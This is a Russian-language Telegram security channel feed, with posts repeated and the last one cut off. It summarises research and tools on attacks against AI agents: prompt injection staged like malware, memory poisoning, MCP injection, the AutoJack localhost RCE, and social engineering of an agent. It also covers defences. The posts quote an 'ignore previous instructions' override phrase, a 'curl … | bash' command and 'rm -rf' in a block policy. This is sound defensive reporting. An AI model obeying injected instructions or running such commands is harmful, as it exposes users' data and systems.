🦠 Prompt injection превращается в malware
С появлением агентских систем prompt injection начинает напоминать полноценный malware lifecycle, где вредоносное воздействие закрепляется, распространяется и приводит к реальным действиям в инфраструктуре.
⚙️ От одного prompt к полной компрометации
Современные AI-агенты больше не ограничиваются диалогом. Они работают с:
🔹 MCP/tool calling
🔹 long-term memory
🔹 RAG и внешними документами
🔹 API и SaaS-интеграциями
🔹 filesystem и runtime actions
Это означает, что prompt перестаёт быть просто текстом, он начинает работать как операционный payload, способный менять поведение всей системы.
Например:
в безобидном на первый взгляд PDF оказывается скрытая инструкция → агент загружает документ через RAG → интерпретирует embedded prompt как легитимную инструкцию → меняет execution plan → вызывает tools → начинает выполнять действия уже за пределами модели.
🧠 Исследователи разложили атаку в стиле MITRE ATT&CK
Исследователи предлагают смотреть на prompt injection через привычную security-логику:
1⃣ Initial Access
Вредоносная инструкция попадает через email, веб-страницу, скачанный документ, базу знаний или пользовательский ввод.
Особенно опасны indirect prompt injection-сценарии, где агент читает данные из внешнего источника и сам воспринимает их как доверенный контекст.
2⃣ Privilege Escalation
Дальше идёт jailbreak.
Модель начинают подталкивать к обходу системных политик и политик безопасности.
3⃣ Persistence
Если агент использует memory layer, retrieval cache или shared context, вредоносная инструкция может сохраниться между сессиями.
Получается аналог persistence-механизма, когда один prompt приводит к долгосрочному изменению поведения.
4⃣ Lateral Movement
В мультиагениной архитектуре скомпрометированный агент начинает влиять на другие компоненты, например
через shared memory или orchestration layer.
5⃣ Actions on Objective
Финальная стадия привычна любому безопаснику:
🔹 data exfiltration
🔹 unauthorized tool execution
🔹 business logic abuse
🔹 fraudulent actions
🔹 privilege misuse
🔗 Исследование: https://arxiv.org/abs/2601.09625
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #PromptInjection #AgenticAI #AIsecurity #CyberSecurity #Infosec #ThreatModeling #SecureTechTalks
С появлением агентских систем prompt injection начинает напоминать полноценный malware lifecycle, где вредоносное воздействие закрепляется, распространяется и приводит к реальным действиям в инфраструктуре.
⚙️ От одного prompt к полной компрометации
Современные AI-агенты больше не ограничиваются диалогом. Они работают с:
🔹 MCP/tool calling
🔹 long-term memory
🔹 RAG и внешними документами
🔹 API и SaaS-интеграциями
🔹 filesystem и runtime actions
Это означает, что prompt перестаёт быть просто текстом, он начинает работать как операционный payload, способный менять поведение всей системы.
Например:
в безобидном на первый взгляд PDF оказывается скрытая инструкция → агент загружает документ через RAG → интерпретирует embedded prompt как легитимную инструкцию → меняет execution plan → вызывает tools → начинает выполнять действия уже за пределами модели.
🧠 Исследователи разложили атаку в стиле MITRE ATT&CK
Исследователи предлагают смотреть на prompt injection через привычную security-логику:
1⃣ Initial Access
Вредоносная инструкция попадает через email, веб-страницу, скачанный документ, базу знаний или пользовательский ввод.
Особенно опасны indirect prompt injection-сценарии, где агент читает данные из внешнего источника и сам воспринимает их как доверенный контекст.
2⃣ Privilege Escalation
Дальше идёт jailbreak.
Модель начинают подталкивать к обходу системных политик и политик безопасности.
3⃣ Persistence
Если агент использует memory layer, retrieval cache или shared context, вредоносная инструкция может сохраниться между сессиями.
Получается аналог persistence-механизма, когда один prompt приводит к долгосрочному изменению поведения.
4⃣ Lateral Movement
В мультиагениной архитектуре скомпрометированный агент начинает влиять на другие компоненты, например
через shared memory или orchestration layer.
5⃣ Actions on Objective
Финальная стадия привычна любому безопаснику:
🔹 data exfiltration
🔹 unauthorized tool execution
🔹 business logic abuse
🔹 fraudulent actions
🔹 privilege misuse
🔗 Исследование: https://arxiv.org/abs/2601.09625
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #PromptInjection #AgenticAI #AIsecurity #CyberSecurity #Infosec #ThreatModeling #SecureTechTalks
👍1
🧨 AI-агенту дали shell. Что теперь делать?
PipeLock - open-source execution proxy для AI-агентов. Инструмент встраивается между агентом и системой исполнения и начинает проверять каждую команду до того, как она попадёт в shell.
Сильной стороной проекта является уровень контроля. PipeLock анализирует уже финальную команду, после того как LLM её сгенерировала.
Технически процесс выглядит следующим образом:
система перехватывает shell invocation → парсит итоговую команду → раскладывает её на бинарник, флаги, аргументы и execution context → сравнивает с политиками.
Политики задаются декларативно и позволяют ограничивать:
🔹 какие бинарники вообще можно запускать (git, npm, docker)
🔹 какие флаги допустимы (--force, --privileged, rm -rf)
🔹 какие filesystem paths доступны
🔹 какие environment variables можно читать
🔹 какие команды требуют human approval
Например:
агенту можно разрешить docker build, но запретить docker run --privileged.
🧠 Отличие от песочниц
Большинство инструментов контроля безопасности работают либо до execution, либо после, как тотже SAST. PipeLock работает в точке принятия действия. То есть появляется новый слой безопасности, AI Action Governance для агентных систем.
🔗 GitHub: https://github.com/luckyPipewrench/pipelock
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #AgenticAI #PromptInjection #DevSecOps #RuntimeSecurity #CyberSecurity #OpenSource #SecureTechTalks
PipeLock - open-source execution proxy для AI-агентов. Инструмент встраивается между агентом и системой исполнения и начинает проверять каждую команду до того, как она попадёт в shell.
Сильной стороной проекта является уровень контроля. PipeLock анализирует уже финальную команду, после того как LLM её сгенерировала.
Технически процесс выглядит следующим образом:
система перехватывает shell invocation → парсит итоговую команду → раскладывает её на бинарник, флаги, аргументы и execution context → сравнивает с политиками.
Политики задаются декларативно и позволяют ограничивать:
🔹 какие бинарники вообще можно запускать (git, npm, docker)
🔹 какие флаги допустимы (--force, --privileged, rm -rf)
🔹 какие filesystem paths доступны
🔹 какие environment variables можно читать
🔹 какие команды требуют human approval
Например:
агенту можно разрешить docker build, но запретить docker run --privileged.
🧠 Отличие от песочниц
Большинство инструментов контроля безопасности работают либо до execution, либо после, как тотже SAST. PipeLock работает в точке принятия действия. То есть появляется новый слой безопасности, AI Action Governance для агентных систем.
🔗 GitHub: https://github.com/luckyPipewrench/pipelock
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #AgenticAI #PromptInjection #DevSecOps #RuntimeSecurity #CyberSecurity #OpenSource #SecureTechTalks
🧠 OWASP взялись за безопасность памяти AI-агентов.
OWASP запустили Agent Memory Guard, проект посвящённый безопасности памяти AI-агентов.
Большинство memory-систем работают примерно одинаково:
контекст → embedding → векторная база данных → извлечение → обратная подача в prompt.
Безопасность в таком подходе почти отсутствует.
Например:
вредоносный документ → загрузка через RAG → преобразование в embedding → сохранение в памяти → извлечение в следующей сессии → агент начинает воспринимать вредоносную инструкцию как доверенный исторический контекст. Prompt injection внезапно становится постоянным. Один удачный payload способен пережить перезапуск процесса и начать влиять на дальнейшее reasoning агента.
🔬 Решение OWASP
Проект пока больше похож на модель угроз + набор практик безопасности, чем на готовый продукт. Но внутри уже есть довольно интересная систематизация рисков.
1⃣ Отравление памяти
Атакующий загрязняет слой памяти.
Например:
скрытые инструкции попадают в память поиска и позже начинают влиять на принятие решений агентом.
OWASP предлагают вводить:
🔹 оценку доверия к источникам
🔹 проверку данных перед сохранением
🔹 метаданные происхождения информации
🔹 классификацию содержимого перед записью
2⃣ Изоляция памяти
Для мультиагентных систем появляется другая проблема: заражение между агентами.
Если несколько агентов используют общее хранилище памяти, компрометация одного агента начинает влиять на остальных.
OWASP предлагают:
🔹 изоляцию пространств памяти
🔹 ограничение доступа к контексту
🔹 отдельные границы памяти для каждого агента
🔹 сегментацию памяти по принципу Zero Trust
3⃣ Управление жизненным циклом памяти
Самая практичная часть проекта. OWASP отдельно подчёркивают:
память не должна жить вечно.
Рекомендуются:
🔹 время жизни записей (TTL)
🔹 автоматическое устаревание памяти
🔹 снижение уровня доверия со временем
🔹 механизмы отзыва контекста
🔹 периодическая повторная проверка
🔗 GitHub: https://github.com/OWASP/www-project-agent-memory-guard
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #OWASP #AgenticAI #PromptInjection #AppSec #CyberSecurity #AIsecurity #SecureTechTalks
OWASP запустили Agent Memory Guard, проект посвящённый безопасности памяти AI-агентов.
Большинство memory-систем работают примерно одинаково:
контекст → embedding → векторная база данных → извлечение → обратная подача в prompt.
Безопасность в таком подходе почти отсутствует.
Например:
вредоносный документ → загрузка через RAG → преобразование в embedding → сохранение в памяти → извлечение в следующей сессии → агент начинает воспринимать вредоносную инструкцию как доверенный исторический контекст. Prompt injection внезапно становится постоянным. Один удачный payload способен пережить перезапуск процесса и начать влиять на дальнейшее reasoning агента.
🔬 Решение OWASP
Проект пока больше похож на модель угроз + набор практик безопасности, чем на готовый продукт. Но внутри уже есть довольно интересная систематизация рисков.
1⃣ Отравление памяти
Атакующий загрязняет слой памяти.
Например:
скрытые инструкции попадают в память поиска и позже начинают влиять на принятие решений агентом.
OWASP предлагают вводить:
🔹 оценку доверия к источникам
🔹 проверку данных перед сохранением
🔹 метаданные происхождения информации
🔹 классификацию содержимого перед записью
2⃣ Изоляция памяти
Для мультиагентных систем появляется другая проблема: заражение между агентами.
Если несколько агентов используют общее хранилище памяти, компрометация одного агента начинает влиять на остальных.
OWASP предлагают:
🔹 изоляцию пространств памяти
🔹 ограничение доступа к контексту
🔹 отдельные границы памяти для каждого агента
🔹 сегментацию памяти по принципу Zero Trust
3⃣ Управление жизненным циклом памяти
Самая практичная часть проекта. OWASP отдельно подчёркивают:
память не должна жить вечно.
Рекомендуются:
🔹 время жизни записей (TTL)
🔹 автоматическое устаревание памяти
🔹 снижение уровня доверия со временем
🔹 механизмы отзыва контекста
🔹 периодическая повторная проверка
🔗 GitHub: https://github.com/OWASP/www-project-agent-memory-guard
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #OWASP #AgenticAI #PromptInjection #AppSec #CyberSecurity #AIsecurity #SecureTechTalks
👍1
🧠 Для AI-агентов начали писать правила обнаружения угроз.
На GitHub появился Agent Threat Rules, open-source проект, который стандартизирует обнаружение атак на агентские системы.
⚙️ А это вообще нужно?
Телеметрия безопасности современных AI-агентов хаотична.
Есть:
🔹 вызовы инструментов
🔹 доступ к памяти
🔹 прохождение prompt’ов
🔹 ответы модели
🔹 взаимодействие между агентами
🔹 обращения к RAG
Но почти нет нормального уровня обнаружения угроз.
Agent Threat Rules предлагает фреймворк обнаружения угроз, где сценарии атак описываются в виде машиночитаемых правил. Подход похож на detection engineering в SOC:
💥 сигнал → условие → индикаторы → критичность → контекст защиты
🔬 Что ищем?
Правила построены вокруг угроз, характерных именно для агентов, а не классических индикаторов компрометации.
1⃣ Prompt injection
Правила пытаются замечать:
🔹 попытки переопределить системные инструкции
🔹 перехват поведения агента
🔹 скрытую смену логики работы
🔹 попытки заставить модель игнорировать политики
Например:
Но обнаружение строится не только на ключевых словах, часто анализируется последовательность действий: подозрительный prompt → неожиданный вызов инструмента → повышение привилегий.
2⃣ Небезопасное использование инструментов
Агент внезапно начинает:
🔹 вызывать нетипичные инструменты
🔹 менять привычный сценарий выполнения
🔹 обращаться к чувствительным API
🔹 выполнять необычные файловые операции
Например, RAG-агент неожиданно вызывает shell или почтовый агент начинает работать с файловой системой. То есть появляется поведенческое обнаружение угроз для агентов.
3⃣ Отравление памяти
Отдельный класс правил посвящён памяти агента. Система пытается обнаруживать:
🔹 подозрительные записи в память
🔹 загрязнение между сессиями
🔹 сохранение вредоносного prompt’а
🔹 аномалии при извлечении знаний
🔗 GitHub: https://github.com/Agent-Threat-Rule/agent-threat-rules
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #AgenticAI #PromptInjection #ThreatDetection #SOC #CyberSecurity #OpenSource #SecureTechTalks
На GitHub появился Agent Threat Rules, open-source проект, который стандартизирует обнаружение атак на агентские системы.
⚙️ А это вообще нужно?
Телеметрия безопасности современных AI-агентов хаотична.
Есть:
🔹 вызовы инструментов
🔹 доступ к памяти
🔹 прохождение prompt’ов
🔹 ответы модели
🔹 взаимодействие между агентами
🔹 обращения к RAG
Но почти нет нормального уровня обнаружения угроз.
Agent Threat Rules предлагает фреймворк обнаружения угроз, где сценарии атак описываются в виде машиночитаемых правил. Подход похож на detection engineering в SOC:
🔬 Что ищем?
Правила построены вокруг угроз, характерных именно для агентов, а не классических индикаторов компрометации.
1⃣ Prompt injection
Правила пытаются замечать:
🔹 попытки переопределить системные инструкции
🔹 перехват поведения агента
🔹 скрытую смену логики работы
🔹 попытки заставить модель игнорировать политики
Например:
игнорируй предыдущие инструкции»
скрытые цепочки prompt’ов
путаница ролей
Но обнаружение строится не только на ключевых словах, часто анализируется последовательность действий: подозрительный prompt → неожиданный вызов инструмента → повышение привилегий.
2⃣ Небезопасное использование инструментов
Агент внезапно начинает:
🔹 вызывать нетипичные инструменты
🔹 менять привычный сценарий выполнения
🔹 обращаться к чувствительным API
🔹 выполнять необычные файловые операции
Например, RAG-агент неожиданно вызывает shell или почтовый агент начинает работать с файловой системой. То есть появляется поведенческое обнаружение угроз для агентов.
3⃣ Отравление памяти
Отдельный класс правил посвящён памяти агента. Система пытается обнаруживать:
🔹 подозрительные записи в память
🔹 загрязнение между сессиями
🔹 сохранение вредоносного prompt’а
🔹 аномалии при извлечении знаний
🔗 GitHub: https://github.com/Agent-Threat-Rule/agent-threat-rules
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #AgenticAI #PromptInjection #ThreatDetection #SOC #CyberSecurity #OpenSource #SecureTechTalks
Please open Telegram to view this post
VIEW IN TELEGRAM
👍1
🧨 Prompt injection наконец-то начали измерять как нормальную уязвимость
На arXiv вышла работа, где исследователи решили собрать benchmark для атак на AI-агентов и системно проверить, что реально помогает против prompt injection.
⚙️ 847 способов сломать агента
Авторы собрали 847 adversarial test cases для RAG-агентов и разбили атаки на несколько категорий:
🔹 прямой prompt injection
🔹 подмена контекста
🔹 override инструкций
🔹 эксфильтрация данных
🔹 «загрязнение» контекста между сессиями
Далее все прогоняли через реалистичные сценарии, например: вредоносный документ → попадание в RAG → извлечение в prompt → изменение поведения агента → вызов инструментов.
🧠 Что же помогает?
Исследователи протестировали несколько уровней защиты сразу:
1⃣ Фильтрация содержимого
Система анализирует входной контент и пытается обнаружить аномалии через embedding-based detection, чтобы замечать подозрительные инструкции ещё до попадания в reasoning pipeline.
2⃣ Иерархические системные инструкции
Вместо одного system prompt используются несколько уровней ограничений, где критичные политики сложнее переопределить.
3⃣ Многоэтапная проверка ответа
Перед выполнением действия агент проходит дополнительную verification stage:
➖ безопасно ли действие?
➖ нарушаются ли политики?
➖ нет ли признаков injection?
📉 К результатам
Без защиты успешность атак доходила до 73.2%. Комбинация нескольких механизмов снизила показатель до 8.7%, при этом сохранив 94.3% исходной функциональности модели.
Большинство защит AI обычно работают по принципу «стало безопаснее, но пользоваться невозможно.». Тут все иначе, что не может не радовать.
🔗 Исследование: https://arxiv.org/abs/2511.15759
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #PromptInjection #AgenticAI #RAG #AIsecurity #CyberSecurity #AppSec #SecureTechTalks
На arXiv вышла работа, где исследователи решили собрать benchmark для атак на AI-агентов и системно проверить, что реально помогает против prompt injection.
⚙️ 847 способов сломать агента
Авторы собрали 847 adversarial test cases для RAG-агентов и разбили атаки на несколько категорий:
🔹 прямой prompt injection
🔹 подмена контекста
🔹 override инструкций
🔹 эксфильтрация данных
🔹 «загрязнение» контекста между сессиями
Далее все прогоняли через реалистичные сценарии, например: вредоносный документ → попадание в RAG → извлечение в prompt → изменение поведения агента → вызов инструментов.
🧠 Что же помогает?
Исследователи протестировали несколько уровней защиты сразу:
1⃣ Фильтрация содержимого
Система анализирует входной контент и пытается обнаружить аномалии через embedding-based detection, чтобы замечать подозрительные инструкции ещё до попадания в reasoning pipeline.
2⃣ Иерархические системные инструкции
Вместо одного system prompt используются несколько уровней ограничений, где критичные политики сложнее переопределить.
3⃣ Многоэтапная проверка ответа
Перед выполнением действия агент проходит дополнительную verification stage:
📉 К результатам
Без защиты успешность атак доходила до 73.2%. Комбинация нескольких механизмов снизила показатель до 8.7%, при этом сохранив 94.3% исходной функциональности модели.
Большинство защит AI обычно работают по принципу «стало безопаснее, но пользоваться невозможно.». Тут все иначе, что не может не радовать.
🔗 Исследование: https://arxiv.org/abs/2511.15759
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #PromptInjection #AgenticAI #RAG #AIsecurity #CyberSecurity #AppSec #SecureTechTalks
Please open Telegram to view this post
VIEW IN TELEGRAM
👍1
🛡️ Jailbreak начали ловить по поведению модели
Большинство защит LLM работают довольно прямолинейно:
🔹 анализируют prompt
🔹 ищут подозрительные шаблоны
🔹 смотрят на внутренние представления модели
🔹 пытаются вычислить «опасное» пространство признаков
Однако вполне легитимный запрос вроде: «объясни, как работает анализ вредоносного ПО» фиксируется, как подозрительный просто из-за словаря, а реально вредоносный промпт успешно выполняется.
⚙️ Анализ движения внутри модели
В новой работе Manifold Trajectory Kinetics (MTK) исследователи предлагают сформироваться на том, как запрос эволюционирует внутри модели.
Технически MTK отслеживает динамику траектории между слоями трансформера. Нормальный запрос обычно остаётся рядом с другими безопасными примерами на протяжении всех вычислений модели.
А вот jailbreak-запрос часто стартует рядом с вредоносными примерами, но затем начинает «маскироваться» и постепенно смещается ближе к безопасной области, пытаясь обмануть систему защиты.
🧪 Цифры
На псевдо-вредоносных сценариях система показала:
🔹 95% обнаружения jailbreak-атак
🔹 5% ложных срабатываний для обычных запросов
🔹 всего 2% ложных срабатываний на tricky-сценариях с безопасным намерением
Также MTK неплохо переживает адаптивные атаки. Когда атакующий специально оптимизирует jailbreak под обход детектора, успешность обнаружения всё ещё держится около 85%.
Для защиты от jailbreak это очень сильный результат.
🧠 Похоже, защита от jailbreak постепенно эволюционирует из фильтрации ключевых слов в полноценную телеметрию поведения LLM во время рассуждений.
🔗 Исследование: https://arxiv.org/abs/2606.07335
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #Jailbreak #PromptInjection #AIsecurity #CyberSecurity #USENIX #AdversarialAI #SecureTechTalks
Большинство защит LLM работают довольно прямолинейно:
🔹 анализируют prompt
🔹 ищут подозрительные шаблоны
🔹 смотрят на внутренние представления модели
🔹 пытаются вычислить «опасное» пространство признаков
Однако вполне легитимный запрос вроде: «объясни, как работает анализ вредоносного ПО» фиксируется, как подозрительный просто из-за словаря, а реально вредоносный промпт успешно выполняется.
⚙️ Анализ движения внутри модели
В новой работе Manifold Trajectory Kinetics (MTK) исследователи предлагают сформироваться на том, как запрос эволюционирует внутри модели.
Технически MTK отслеживает динамику траектории между слоями трансформера. Нормальный запрос обычно остаётся рядом с другими безопасными примерами на протяжении всех вычислений модели.
А вот jailbreak-запрос часто стартует рядом с вредоносными примерами, но затем начинает «маскироваться» и постепенно смещается ближе к безопасной области, пытаясь обмануть систему защиты.
🧪 Цифры
На псевдо-вредоносных сценариях система показала:
🔹 95% обнаружения jailbreak-атак
🔹 5% ложных срабатываний для обычных запросов
🔹 всего 2% ложных срабатываний на tricky-сценариях с безопасным намерением
Также MTK неплохо переживает адаптивные атаки. Когда атакующий специально оптимизирует jailbreak под обход детектора, успешность обнаружения всё ещё держится около 85%.
Для защиты от jailbreak это очень сильный результат.
🧠 Похоже, защита от jailbreak постепенно эволюционирует из фильтрации ключевых слов в полноценную телеметрию поведения LLM во время рассуждений.
🔗 Исследование: https://arxiv.org/abs/2606.07335
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #Jailbreak #PromptInjection #AIsecurity #CyberSecurity #USENIX #AdversarialAI #SecureTechTalks
👍1
🧠🛡️ Guardrails для AI-агентов начали переписывать execution plan
Большинство защит AI-агентов блокирует действие, если замечает риск и просто. В результате агент либо ломается, либо уходит в рекурсию, пока случайно не найдёт обходной путь.
На arXiv вышла работа, где исследователи предлагают не останавливать агента, а безопасно менять его план действий.
⚙️ В чем суть?
Guardrail анализирует действие агента перед выполнением (ту же shell-команду или API-вызов) после чего возвращает вердикт: «можно / запрещено / уровень риска». Однако реальные инциденты возникают не потому, что агент «злой», а потому что он работает на загрязнённом контексте.
Вредоносный RAG-документ, prompt injection, опасный tool chain или просто недоверенные инструкции могут изменить reasoning модели и подтолкнуть её к небезопасному действию.
Исследователи предлагают добавить feedback-driven remediation layer. Если guardrail замечает риск, агенту показывают безопасный способ добиться той же цели.
🧪 Как это выглядит на практике
Агент собирается выполнить
Классическая защита вернёт «BLOCK», а новый подход пытается безопасно переписать execution path: скачать файл → проверить хэш → показать diff → запросить подтверждение → запускать только в изоляции.
Guardrail начинает работать как runtime AppSec reviewer для reasoning AI-агента.
🧠 Зачем все усложнять?
Агенту иногда нужно делать потенциально рискованные действия, чтобы вообще быть полезным. Если всё запрещать, то можно забыть об автономности, а если разрешать всё, то появляется огромная брешь в защите.
🔗 Исследование: https://arxiv.org/abs/2606.05805
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #AgenticAI #PromptInjection #AIsecurity #AppSec #RuntimeSecurity #CyberSecurity #SecureTechTalks
Большинство защит AI-агентов блокирует действие, если замечает риск и просто. В результате агент либо ломается, либо уходит в рекурсию, пока случайно не найдёт обходной путь.
На arXiv вышла работа, где исследователи предлагают не останавливать агента, а безопасно менять его план действий.
⚙️ В чем суть?
Guardrail анализирует действие агента перед выполнением (ту же shell-команду или API-вызов) после чего возвращает вердикт: «можно / запрещено / уровень риска». Однако реальные инциденты возникают не потому, что агент «злой», а потому что он работает на загрязнённом контексте.
Вредоносный RAG-документ, prompt injection, опасный tool chain или просто недоверенные инструкции могут изменить reasoning модели и подтолкнуть её к небезопасному действию.
Исследователи предлагают добавить feedback-driven remediation layer. Если guardrail замечает риск, агенту показывают безопасный способ добиться той же цели.
🧪 Как это выглядит на практике
Агент собирается выполнить
curl unknown.site/install.sh | bashКлассическая защита вернёт «BLOCK», а новый подход пытается безопасно переписать execution path: скачать файл → проверить хэш → показать diff → запросить подтверждение → запускать только в изоляции.
Guardrail начинает работать как runtime AppSec reviewer для reasoning AI-агента.
🧠 Зачем все усложнять?
Агенту иногда нужно делать потенциально рискованные действия, чтобы вообще быть полезным. Если всё запрещать, то можно забыть об автономности, а если разрешать всё, то появляется огромная брешь в защите.
🔗 Исследование: https://arxiv.org/abs/2606.05805
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #AgenticAI #PromptInjection #AIsecurity #AppSec #RuntimeSecurity #CyberSecurity #SecureTechTalks
👍1
🎣 OpenClaw получил письмо и слил секреты компании
Пока сотрудники проходят тренинги по фишингу, агенты проверяют в бою.
Исследователи из Varonis протестировали OpenClaw с доступом к почте, браузеру и корпоративным сервисам. Оказалось, что обычная социальная инженерия работает на нем не хуже, чем обычном человеке.
⚙️ Детали атаки
Агенту отправляли вполне рабочие запросы:
🔹 «Нужен доступ к staging-среде»
🔹 «Пришли экспорт клиентов»
🔹 «Помоги настроить новый сервис»
В ряде сценариев агент передавал доступы и чувствительные данные, несмотря на наличие инструкций по проверке запросов.
🤖 Однако стоит отметить, что OpenClaw неплохо справлялся с классическими угрозами:
✅ блокировал подозрительные ссылки
✅ отклонял опасные OAuth-запросы
Но проваливался там, где требуется понимание контекста:
❌ проверка личности отправителя
❌ оценка правомерности запроса
❌ противодействие давлению и срочности
Агент оказался уязвим для тех же приёмов социальной инженерии, которые десятилетиями работают против людей.
Вывод: без проверки личности, разграничения полномочий и подтверждения критических действий AI-агент рискует стать самым привилегированным сотрудником компании, которого можно обмануть одним письмом 😉
🔗 Источник: thehackernews
Stay secure and read SecureTechTalks 📚
#CyberSecurity #AI #OpenClaw #AIAgents #Phishing #PromptInjection #LLMSecurity #AgentSecurity #DataProtection #SecureTechTalks
Пока сотрудники проходят тренинги по фишингу, агенты проверяют в бою.
Исследователи из Varonis протестировали OpenClaw с доступом к почте, браузеру и корпоративным сервисам. Оказалось, что обычная социальная инженерия работает на нем не хуже, чем обычном человеке.
⚙️ Детали атаки
Агенту отправляли вполне рабочие запросы:
🔹 «Нужен доступ к staging-среде»
🔹 «Пришли экспорт клиентов»
🔹 «Помоги настроить новый сервис»
В ряде сценариев агент передавал доступы и чувствительные данные, несмотря на наличие инструкций по проверке запросов.
🤖 Однако стоит отметить, что OpenClaw неплохо справлялся с классическими угрозами:
✅ блокировал подозрительные ссылки
✅ отклонял опасные OAuth-запросы
Но проваливался там, где требуется понимание контекста:
❌ проверка личности отправителя
❌ оценка правомерности запроса
❌ противодействие давлению и срочности
Агент оказался уязвим для тех же приёмов социальной инженерии, которые десятилетиями работают против людей.
Вывод: без проверки личности, разграничения полномочий и подтверждения критических действий AI-агент рискует стать самым привилегированным сотрудником компании, которого можно обмануть одним письмом 😉
🔗 Источник: thehackernews
Stay secure and read SecureTechTalks 📚
#CyberSecurity #AI #OpenClaw #AIAgents #Phishing #PromptInjection #LLMSecurity #AgentSecurity #DataProtection #SecureTechTalks
👍1
🧨 MCP-инъекции AI агентов
Cloud Security Alliance показывают, как компрометация MCP-слоя позволяет полностью перехватить operational loop AI-агента.
MCP сегодня фактически становится управляющей панелью для агентов. Он:
🔹 описывает доступные инструменты
🔹 передаёт схемы вызовов
🔹 отдаёт контекст выполнения
🔹 управляет файловыми и API-ресурсами
Однако большинство агентов воспринимают этот слой как доверенный.
Если атакующий подсовывает фейковый MCP-server или подменённый tool descriptor, агент начинает строить reasoning уже на скомпрометированной модели. То есть инъекция происходит не в промпте, а в слое оркестрации.
🧠 MCP injection
Типовой сценарий, когда агент подключается к внешнему MCP endpoint, получает описание tool capability, LLM интерпретирует его как легитимный execution primitive. Дальше возможны:
🔹 подмена параметров shell execution
🔹 скрытые file read primitives
🔹 поддельные API endpoints для data exfiltration
🔹 privilege escalation через over-permissioned tools
🔹 persistence через long-lived MCP sessions
Ключевая проблема в том, что агент не верифицирует семантику инструмента и полностью доверяет источнику.
📉 Хуже чем prompt injection
Обычный prompt injection атакует reasoning graph. MCP injection атакует execution graph. Злоумышленник влияет на действовия агента, что гораздо опаснее, особенно для coding-агентов с shell, git, docker, cloud API и production access.
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #MCP #AgenticAI #SupplyChainSecurity #PromptInjection #AppSec #CyberSecurity #SecureTechTalks
Cloud Security Alliance показывают, как компрометация MCP-слоя позволяет полностью перехватить operational loop AI-агента.
MCP сегодня фактически становится управляющей панелью для агентов. Он:
🔹 описывает доступные инструменты
🔹 передаёт схемы вызовов
🔹 отдаёт контекст выполнения
🔹 управляет файловыми и API-ресурсами
Однако большинство агентов воспринимают этот слой как доверенный.
Если атакующий подсовывает фейковый MCP-server или подменённый tool descriptor, агент начинает строить reasoning уже на скомпрометированной модели. То есть инъекция происходит не в промпте, а в слое оркестрации.
🧠 MCP injection
Типовой сценарий, когда агент подключается к внешнему MCP endpoint, получает описание tool capability, LLM интерпретирует его как легитимный execution primitive. Дальше возможны:
🔹 подмена параметров shell execution
🔹 скрытые file read primitives
🔹 поддельные API endpoints для data exfiltration
🔹 privilege escalation через over-permissioned tools
🔹 persistence через long-lived MCP sessions
Ключевая проблема в том, что агент не верифицирует семантику инструмента и полностью доверяет источнику.
📉 Хуже чем prompt injection
Обычный prompt injection атакует reasoning graph. MCP injection атакует execution graph. Злоумышленник влияет на действовия агента, что гораздо опаснее, особенно для coding-агентов с shell, git, docker, cloud API и production access.
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #MCP #AgenticAI #SupplyChainSecurity #PromptInjection #AppSec #CyberSecurity #SecureTechTalks
👍1
🧨 AutoJack: вредоносный сайт теперь может превратить AI-агента в RCE-прокси
Cloud Security Alliance разобрали новую атаку AutoJack. Суть простая, если AI-агент умеет одновременно ходить в интернет и общаться с локальными сервисами, граница доверия "localhost" начинает ломаться.
⚙️ Как работает атака?
Типовой сценарий выглядит заурядно, агент открывает внешнюю веб-страницу, вредоносный JavaScript внутри страницы инициирует запросы к локальному MCP endpoint. Endpoint принимает команды без нормальной аутентификации, по итогу агент запускает произвольный процесс на хосте.
Внешний веб-контент получает execution path до локальной машины. Получается гибрид prompt injection и localhost trust bypass.
🧠 Почему так происходит?
Проблема здесь в связке агента браузера, MCP и shell. Большинство агентных систем считают localhost доверенным. Получается, что если агент сам рендерит attacker-controlled content, то этот контент уже оказывается внутри доверенного источника.
🔗 Исследование: https://labs.cloudsecurityalliance.org/research/csa-research-note-autojack-ai-agent-rce-20260621-csa-styled/
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #AgenticAI #MCP #RCE #PromptInjection #AppSec #CyberSecurity #SecureTechTalks
Cloud Security Alliance разобрали новую атаку AutoJack. Суть простая, если AI-агент умеет одновременно ходить в интернет и общаться с локальными сервисами, граница доверия "localhost" начинает ломаться.
⚙️ Как работает атака?
Типовой сценарий выглядит заурядно, агент открывает внешнюю веб-страницу, вредоносный JavaScript внутри страницы инициирует запросы к локальному MCP endpoint. Endpoint принимает команды без нормальной аутентификации, по итогу агент запускает произвольный процесс на хосте.
Внешний веб-контент получает execution path до локальной машины. Получается гибрид prompt injection и localhost trust bypass.
🧠 Почему так происходит?
Проблема здесь в связке агента браузера, MCP и shell. Большинство агентных систем считают localhost доверенным. Получается, что если агент сам рендерит attacker-controlled content, то этот контент уже оказывается внутри доверенного источника.
🔗 Исследование: https://labs.cloudsecurityalliance.org/research/csa-research-note-autojack-ai-agent-rce-20260621-csa-styled/
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #AgenticAI #MCP #RCE #PromptInjection #AppSec #CyberSecurity #SecureTechTalks
👍1
🧨 Guardrails больше не спасают. Нужно проверять поведение агента
Появился интересный open-source проект Praxen.
В основе Praxen лежит Agent Behavior Verification (ABV), слой формальной верификации поведения агента. Вместо анализа отдельных tool calls система строит модель допустимого execution graph: какие инструменты агент должен использовать, в каком порядке, с какими зависимостями, в каком контексте и с какими ограничениями.
Решение описывает expected operational semantics агента, затем runtime execution сопоставляется с этим графом.
Если агент:
🔹 вызывает tool вне ожидаемого контекста
